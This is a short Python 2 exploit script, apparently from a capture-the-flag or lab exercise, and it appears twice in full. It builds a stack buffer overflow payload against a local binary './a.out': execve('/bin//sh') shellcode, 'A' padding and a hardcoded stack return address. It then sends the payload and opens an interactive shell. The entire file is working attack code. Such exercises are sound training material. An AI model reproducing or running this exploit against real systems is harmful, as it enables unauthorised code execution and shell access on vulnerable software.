#!/usr/bin/env python
# encoding:utf-8

#import pwn
import zio
import sys
import binascii

# eip = 0xbffff67c 
# &buffer = 0xbffff630


def getJunk(length):
    junk = ""
    temp = length / 4
    for i in range(temp):
        junk += "%04d" % ((i+1) * 4)
    return junk


def getShellcode():
    shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
    shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x0f\x34"
    shellcode = "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"
    return shellcode


def getAddress():
    address = zio.l32(0xbffff630 + 0x30)
    return address
    #return "\x30\xf6\xff\xbf"
    #return "\x00\x00\x00\x00"


def find(length):
    return getJunk(length) + "@" * 4

def finallyJunk(length):
    return "A" * length

def main():
    shellcode = getShellcode()
    address = getAddress()
    junk = finallyJunk(76 - len(shellcode))
    payload = shellcode + junk + address
    print len(payload)
    print payload
    print binascii.b2a_hex(payload)
    Io = zio.zio("./a.out")
    Io.write(payload)
    Io.interact()


if __name__ == "__main__":
    main()

2253700c6a4b495ef00316c9cbb91e3d897c1ea6
#!/usr/bin/env python
# encoding:utf-8

#import pwn
import zio
import sys
import binascii

# eip = 0xbffff67c 
# &buffer = 0xbffff630


def getJunk(length):
    junk = ""
    temp = length / 4
    for i in range(temp):
        junk += "%04d" % ((i+1) * 4)
    return junk


def getShellcode():
    shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
    shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x0f\x34"
    shellcode = "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"
    return shellcode


def getAddress():
    address = zio.l32(0xbffff630 + 0x30)
    return address
    #return "\x30\xf6\xff\xbf"
    #return "\x00\x00\x00\x00"


def find(length):
    return getJunk(length) + "@" * 4

def finallyJunk(length):
    return "A" * length

def main():
    shellcode = getShellcode()
    address = getAddress()
    junk = finallyJunk(76 - len(shellcode))
    payload = shellcode + junk + address
    print len(payload)
    print payload
    print binascii.b2a_hex(payload)
    Io = zio.zio("./a.out")
    Io.write(payload)
    Io.interact()


if __name__ == "__main__":
    main()
